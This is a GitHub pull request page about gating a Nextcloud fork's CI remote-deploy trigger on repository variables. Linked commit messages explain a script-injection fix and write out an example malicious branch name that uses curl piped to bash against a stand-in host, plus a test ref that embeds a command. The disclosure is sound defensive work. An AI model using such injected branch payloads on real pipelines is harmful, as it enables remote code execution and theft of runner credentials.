IONOS(ci): gate the remote trigger on repository variables instead of hard-coded branch names - #328
Merged
Conversation
…OTE_TRIGGER_RC_BRANCH The Nextcloud-major freeze was hard-coded in `trigger-remote-dev-workflow`'s `if:` as exact-equality arms on `ionos-dev`/`ionos-stable`: the per-major lanes appeared in `on: push: branches` and in the upload-to-artifactory gate, but could never trigger a remote deploy. Moving the deployed major therefore meant editing this workflow — on every lane's own copy of it, since GitHub reads the `on:`/`if:` blocks only from the pushed branch's copy. Port nc-server's variable-driven gate (IONOS-Productivity/nc-server 01816be) so the freeze lives in repository variables instead: - bare `ionos-dev`/`ionos-stable` are always exempt - `ionos-(dev|stable)-v*` must end with REMOTE_TRIGGER_NC_VERSION - `rc/*` must equal REMOTE_TRIGGER_RC_BRANCH exactly - `*/dev/*` bypasses the version gate - REMOTE_TRIGGER_NC_VERSION unset means all versions are allowed The suffix check is deliberately scoped to the `ionos-*-v*` lanes. Applied to `rc/*` it would admit any RC branch whose name happened to end with the whitelisted version string, bypassing the exact RC whitelist — and ncw's current train, `rc/ncw-7`, encodes no major at all. Behaviour-neutral as configured. With REMOTE_TRIGGER_NC_VERSION='v31' and REMOTE_TRIGGER_RC_BRANCH='rc/ncw-7', ionos-dev (NC31), ionos-stable and rc/ncw-7 trigger exactly as before and ionos-dev-v32 (NC32) stays frozen — now because v32 is not the whitelisted major rather than because the YAML excludes it. DISABLE_REMOTE_TRIGGER='true' is set repo-wide, so this lands inert regardless. The BUILD_TYPE stable arm has to widen in the same commit: suffixed stable lanes can now reach the job and would otherwise deploy as BUILD_TYPE=dev. It uses the same idiom the upload job's stage-prefix arm already does. The `Check configuration` preflight and the debug-pipeline-status variable dump are part of the same change, not a follow-up: the preflight predicts whether the trigger job will run, so leaving it unaware of the new variables would make it report an outcome the pipeline does not produce. Adapted from nc-server rather than copied: ncw's VALID_BRANCH_PATTERN is already per-major aware and is kept over nc-server's looser variant, and the ncw-only `Assert branch major matches version.php` guard stays the thing that stops a lane building one major and deploying under the name of another. Signed-off-by: Misha M.-Kupriyanov <kupriyanov@strato.de>
…SER_DEV Every push to a `*/dev/*` user dev branch triggers a QA deployment today. That is unconditional: the only kill switch is DISABLE_REMOTE_TRIGGER, which is repo-wide and takes the protected lanes down with it. Port nc-server's opt-in (IONOS-Productivity/nc-server e3e638e): the trigger job now additionally requires ENABLE_REMOTE_TRIGGER_USER_DEV == 'true' for that branch class. `*/dev/*` branches keep building and keep uploading to Artifactory — only the GitLab QA trigger becomes opt-in. This is the one intentional behaviour change in this series. Set the repository variable to 'true' to restore the previous behaviour: https://github.com/IONOS-Productivity/ncw-server/settings/variables/actions The opt-in sits in the branch-admission clause, not in the version gate, so `*/dev/*` still bypasses REMOTE_TRIGGER_NC_VERSION once opted in — a user dev branch carries no major in its name and there is nothing to compare against. Signed-off-by: Misha M.-Kupriyanov <kupriyanov@strato.de>
BUILD_TYPE says which lane a build came from ('dev', 'stable', 'rc',
'dev-<prefix>') and NC_MAJOR says which Nextcloud major it carries, but neither
names the branch. A downstream release report could not tell 'rc/ncw-6' from
'rc/ncw-7', nor link back to the source branch.
Forward github.ref_name and github.repository as GITHUB_REF_NAME and
GITHUB_REPOSITORY, as nc-server does (IONOS-Productivity/nc-server 3b676ab,
HDNEXT-1373).
Purely additive: two new trigger variables. Existing GitLab-side consumers of
GITHUB_SHA, NC_VERSION, NC_MAJOR, BUILD_ID, BUILD_TYPE and SOURCE_BUILD_URL are
untouched, so this needs no coordinated change there.
Signed-off-by: Misha M.-Kupriyanov <kupriyanov@strato.de>
4 tasks
There was a problem hiding this comment.
Pull request overview
Updates the build-artifact GitHub Actions workflow so the remote QA-deploy trigger is gated by repository variables (rather than hard-coded branch names), enabling Nextcloud-major cutovers via variable changes instead of workflow edits across lanes.
Changes:
- Adds variable-driven gating for the remote trigger using
REMOTE_TRIGGER_NC_VERSIONandREMOTE_TRIGGER_RC_BRANCH, with explicit handling for bare lanes and RC trains. - Makes
*/dev/*remote QA deploys opt-in viaENABLE_REMOTE_TRIGGER_USER_DEV, while keeping builds/uploads intact. - Forwards additional source context to the downstream GitLab trigger (
GITHUB_REF_NAME,GITHUB_REPOSITORY) and extends the preflight summary to explain decisions.
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
| needs.upload-to-artifactory.result == 'success' && | ||
| vars.DISABLE_REMOTE_TRIGGER != 'true' | ||
| vars.DISABLE_REMOTE_TRIGGER != 'true' && | ||
| (contains(github.ref_name, '/dev/') || |
This was referenced Aug 31, 2026
printminion-co
added a commit
that referenced
this pull request
Aug 31, 2026
Review comment on #328: "expressions like ${{ github.ref_name }} in code are potentially vulnerable to script injection. Attackers can name their branch name (in this case; the PR title in another) with code in them." Correct, and this job is the worst place for it. GitHub expands ${{ }} textually into the script before bash parses it, so an interpolated value is code rather than data. git check-ref-format permits $, backtick, (, ), ;, |, & and quotes in a branch name; it forbids spaces, but ${IFS} substitutes. So x/dev/$(curl${IFS}-sSL${IFS}http://host/x|bash) is a legal, pushable ref that executes at every interpolation site — command substitution happens inside double quotes too. trigger-remote-dev-workflow runs on a *persistent* self-hosted runner with GITLAB_TOKEN and GITLAB_TRIGGER_URL in scope in the same step, so the payoff is code execution on that runner with those credentials. Not fork-PR reachable — on pull_request events ref_name is '<N>/merge' — so this is escalation from write access to RCE on the runner, reachable by any collaborator, a stolen collaborator token, or workflow_dispatch on an arbitrary ref. Bind every context value to an environment variable and reference it as a quoted shell variable, in both steps. This is not a new convention: it is the shape already used by 'Assert branch major matches version.php' (23ab67f). The ionos-stable-v[0-9]* glob stays unquoted on the right-hand side of [[ ]]. Quoting it would turn the pattern match into a literal comparison and every suffixed stable lane would silently fall through to BUILD_TYPE=dev — the reason that arm exists at all. Verified against the routing table in the step's own comment: all 8 lanes map as before. Behaviour-neutral for every legal branch name. Verified by extracting the routing logic and running the payload above through both versions: pre-fix it creates the marker file, post-fix it does not, and both yield the same BUILD_TYPE=dev-x. GITHUB_REF_NAME is still forwarded verbatim to GitLab, so d42269f's consumer is unaffected and no coordinated GitLab change is needed. Two adjacent fixes in the same block, both in the curl: - '--form token=${{ secrets.GITLAB_TOKEN }}' was unquoted. Now '--form "token=$GITLAB_TOKEN"'. - set -x covered the whole step including the request. It now stops before the curl, with the payload echoed explicitly instead. To be precise about what this buys: GitHub masks registered secrets in all log output, xtrace included, so the token was never printed in clear. What it avoids is dumping the Artifactory path and the shape of the trigger URL, and it keeps the part of the trace that was actually useful — the branch routing. Also replaces 'echo "$REF" | sed' with 'printf %s' so a ref name starting with '-' cannot be read as an echo flag. Signed-off-by: Misha M.-Kupriyanov <kupriyanov@strato.de> (cherry picked from commit 1f09483)
printminion-co
added a commit
that referenced
this pull request
Aug 31, 2026
Second commit of the script-injection series started in the previous commit; same
reasoning, applied to the jobs that hold the JFrog credentials and to the ones
that only report.
prepare-matrix 'Check configuration' is the largest cluster: github.ref_name,
github.event_name and the four REMOTE_TRIGGER repository variables all reach bash
by interpolation. Two of the echo blocks wrap the value in *single* quotes
("Branch = '${{ github.ref_name }}'"), where a lone apostrophe in a ref name
breaks out of the string independently of the $(...) problem.
At the version gate, only the three assignments change:
NC_VERSION="$REMOTE_TRIGGER_NC_VERSION"
RC_BRANCH="$REMOTE_TRIGGER_RC_BRANCH"
BRANCH="$REF"
The ~20 lines of gate logic below already read "$BRANCH" and "$NC_VERSION"
correctly and are untouched. Keeping the aliases rather than renaming through the
block is deliberate: it keeps the diff to the lines that actually carry the
defect.
This also closes the path #330 opened, which crosses a job boundary and is easy
to miss:
branch name -> set_reason "branch '${{ github.ref_name }}' ..."
-> TRIGGER_REASON -> remote_trigger_reason job output
-> TRIGGER_SKIP_REASON="${{ ... }}" in debug-pipeline-status
Fixing only the set_reason end would leave the carried text being interpolated
into a *different* job's shell one step later, so both ends move to env. No
change needed where the reason is written to GITHUB_OUTPUT: git forbids control
characters in ref names, so there is no multiline-output angle there.
Also in this commit:
- upload-to-artifactory: the stage-prefix chain, the PR/branch path split and
the vcs.branch/vcs.revision properties. The ionos-stable-v[0-9]* glob stays
unquoted for the same reason as in the trigger job — quoted, a suffixed
stable lane would silently publish into dev/.
- upload-to-artifactory 'Check prerequisites': the three JF_* secrets were
interpolated into [ -z ... ] tests.
- debug-pipeline-status: branch/actor/run echoes and the repository-variable
dump. The ~20 needs.*.result interpolations are left alone — they expand only
to success/failure/skipped/cancelled and cannot be influenced, so converting
them would be diff noise.
- prepare-matrix 'Compute effective cache version': cache_version_suffix is
free text typed by whoever dispatched the run.
Behaviour-neutral. Verified with the harnesses from #328/#330 rather than by
inspection: the preflight still agrees with the trigger job's if: expression on
all 19 cases including the v32 cutover rehearsal, and a reason is still recorded
exactly when the trigger is skipped. Negative test on the #330 path: a ref of
'master$(touch ...)' produces no file and lands in TRIGGER_REASON as literal
text, which is then inert when re-consumed downstream.
Signed-off-by: Misha M.-Kupriyanov <kupriyanov@strato.de>
(cherry picked from commit 260dab3)
printminion-co
added a commit
that referenced
this pull request
Aug 31, 2026
Third and last commit of the script-injection series. Same reasoning as the two
before it, applied to the remaining run: bodies.
These values are lower severity than github.ref_name — build-external-apps runs
on ubuntu-latest with a read-only token, and matrix.app_info.* comes from
'make generate_external_apps_matrix_json' rather than from a ref name — but the
matrix is generated from repo files a PR author can edit, so it is the same class
of defect and it fires on internal pushes too.
Most of these were interpolated into *single*-quoted assignments:
FULL_MATRIX='${{ needs.prepare-matrix.outputs.external_apps_matrix }}'
APP_NAME='${{ matrix.app_info.name }}'
which one apostrophe in an app name breaks out of, independently of the $(...)
problem. Bound as env, the assignment lines disappear entirely — the consumers
below already read "$FULL_MATRIX" and --arg name "$APP_NAME" correctly.
The one site with no env: at all was
run: make -f IONOS/Makefile ${{ steps.app-config.outputs.makefile-target }}
now 'make -f IONOS/Makefile "$MAKEFILE_TARGET"'. Quoting is correct here rather
than incidental: a make target is a single word, so suppressing word-splitting is
the intended behaviour.
Also folds in the workflow-level env references (env.TARGET_PACKAGE_NAME,
env.ARTIFACTORY_REPOSITORY_SNAPSHOT, env.CACHE_VERSION). These were never an
injection risk — the values are literals in this file — but they are already
environment variables in the shell, so re-interpolating them was a needless
second path to the same string. The Dockerfile heredoc is unquoted (<< EOF), so
${TARGET_PACKAGE_NAME} expands there exactly as the interpolation did.
Two things worth flagging rather than silently changing:
- 'Collect apps and their SHAs' has a step-level env: CACHE_VERSION set to the
*effective* cache version, which shadows the workflow-level CACHE_VERSION.
The expression env.CACHE_VERSION therefore already resolved to the effective
value, so the step's "Base CACHE_VERSION:" and "Effective CACHE_VERSION:"
lines have always printed the same thing. Translated faithfully to
${CACHE_VERSION} — the misleading label is pre-existing and is left for a
separate change rather than altered inside a security fix.
- 'Restore all apps from cache and JFrog' declared a second env: block after
its run:. Two env: keys on one step is a YAML duplicate key and the later one
silently wins, so the new block had to be merged with the GH_TOKEN one rather
than added alongside it.
Verification for the series as a whole, on this tree:
- zizmor template-injection findings for this file: 186 -> 0. The 6 that remain
(artipacked, self-repository) are pre-existing and unrelated.
- actionlint/shellcheck: identical counts for every pre-existing info-level
code, and SC2193 ("arguments can never be equal") drops 2 -> 0, since that
was the literal-interpolation comparison. No new findings, no structural
findings.
- the #328/#330 harnesses still agree on all 19 gate cases, including the v32
cutover rehearsal, with a reason recorded exactly when the trigger is skipped.
- BUILD_TYPE and Artifactory stage-prefix routing verified across all 7 lanes.
- no duplicate YAML keys and no undefined variable references anywhere in the
file, both checked programmatically after the merge described above.
Signed-off-by: Misha M.-Kupriyanov <kupriyanov@strato.de>
(cherry picked from commit bfbe235)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Backports nc-server's variable-driven remote-trigger gating into this workflow, so the
Nextcloud-major freeze lives in repository variables instead of being hard-coded in
build-artifact.yml.Until now the freeze was exact-equality arms on
ionos-dev/ionos-stablein thetrigger-remote-dev-workflowif:— the per-major lanes appeared inon: push: branchesand inthe
upload-to-artifactorygate, but could never trigger a remote deploy. Moving the deployedmajor therefore meant editing this workflow, on every lane's own copy of it, since GitHub reads
the
on:/if:blocks only from the pushed branch's copy.REMOTE_TRIGGER_NC_VERSION/REMOTE_TRIGGER_RC_BRANCH01816be5fdd*/dev/*GitLab trigger behindENABLE_REMOTE_TRIGGER_USER_DEVe3e638e12013b676abd6da(HDNEXT-1373)The gate
ionos-dev/ionos-stable— always exemptionos-(dev|stable)-v*— must end withREMOTE_TRIGGER_NC_VERSIONrc/*— must equalREMOTE_TRIGGER_RC_BRANCHexactly*/dev/*— bypasses the version gate; governed solely byENABLE_REMOTE_TRIGGER_USER_DEVREMOTE_TRIGGER_NC_VERSIONunset — all versions allowedThe suffix check is deliberately scoped to the
ionos-*-v*lanes. Applied torc/*it would admitany RC branch whose name happened to end with the whitelisted version string, bypassing the exact
RC whitelist — and our current train,
rc/ncw-7, encodes no major at all.Behaviour-neutral as configured
The variables are already set (
gh variable list):REMOTE_TRIGGER_NC_VERSION=v31,REMOTE_TRIGGER_RC_BRANCH=rc/ncw-7,DISABLE_REMOTE_TRIGGER=true. They line up exactly with thelive lanes, so nothing about which lane deploys changes:
version.phpmajorionos-devionos-stableionos-dev-v32v32≠v31rc/ncw-7rc/ncw-3/-5/-6*/dev/*DISABLE_REMOTE_TRIGGER=trueforce-disables the trigger job repo-wide, so this lands inertregardless of the gate.
Commit 2 makes
*/dev/*QA deploys opt-in. Today every push to a user dev branch triggers aGitLab QA deployment unconditionally; the only kill switch is
DISABLE_REMOTE_TRIGGER, which isrepo-wide and takes the protected lanes down with it.
*/dev/*branches keep building and keep uploading to Artifactory — only the QA trigger stops. Torestore the previous behaviour, set
ENABLE_REMOTE_TRIGGER_USER_DEVtotrueatSettings → Variables → Actions.
Adapted, not copied
nc-server and this fork had drifted in opposite directions, so this is a merge of the two rather
than a transplant. Kept from ncw-server:
VALID_BRANCH_PATTERN— already per-major aware; kept over nc-server's looser^ionos-(dev|stable)-v.*$Assert branch major matches version.php— ncw-only, and still the guard that stops a lanebuilding one major and deploying under the name of another
variables[NC_MAJOR]— ncw-only, still derived fromversion.phpviaNC_VERSIONrather thanfrom the branch name
Not changed, deliberately:
nextcloud-workspace-artifact-to-ghcr_iohas no branch gate here (nc-server's does).Backporting that
if:would narrow our behaviour and stop image pushes on branches that pushtoday.
promote-artifact.ymlhardcodesionos-dev→ionos-stablewith no per-major notion. nc-server has no equivalent workflow, sothere is nothing to backport; making it per-major aware deserves its own ticket.
The
BUILD_TYPEstable arm had to widen in commit 1 rather than as a follow-up: suffixed stablelanes can now reach the job and would otherwise deploy as
BUILD_TYPE=dev. Likewise theCheck configurationpreflight and thedebug-pipeline-statusdump are part of commit 1 — thepreflight predicts whether the trigger job will run, so leaving it unaware of the new variables
would have it report an outcome the pipeline does not produce.
Verification
The
if:expression and the preflight shell block are one rule written twice, so both were testedagainst the same table by parsing the shipped expression out of the YAML, translating it to Python,
and executing the real
run:script underbashwith the contexts substituted:The last three rows are the cutover rehearsal: setting
REMOTE_TRIGGER_NC_VERSION=v32andREMOTE_TRIGGER_RC_BRANCH=rc/ncw-v32-1moves the deploy to the v32 lanes and stops v31, with noworkflow edit. Also verified:
DISABLE_REMOTE_TRIGGER='true'vetoes every lane, and non-pushevents never trigger.
Companion PR
#329 carries the same three commits onto the v32 lane. The v32 lane needs its own copy —
GitHub evaluates
on:/if:only from the pushed branch's copy, andionos-dev-v32currently hasno
build-artifact.ymlat all (it arrives via #322), which is why #329 is stacked at the top of#322 → #323 → #324 rather than opened against
ionos-dev-v32directly.The two PRs are cherry-pick twins and the file stays byte-identical between the lanes:
git diff origin/mk/dev/backport-remote-trigger-gate:.github/workflows/build-artifact.yml \ origin/mk/dev/backport-remote-trigger-gate-v32:.github/workflows/build-artifact.yml # expected: emptyFollow-up, reverse direction
nc-server lacks three things this fork has and would benefit from:
Assert branch major matches version.php,variables[NC_MAJOR]forwarding, and theneeds.trigger-remote-dev_workflowtypofix (
01b5b8c23c0here) — nc-server's copy of that summary line should be checked for the sametypo.
Checklist
if:gate verified against the truth table aboveif:gate on every caseENABLE_REMOTE_TRIGGER_USER_DEVshould be set totrueto keep*/dev/*QAdeploys, or left off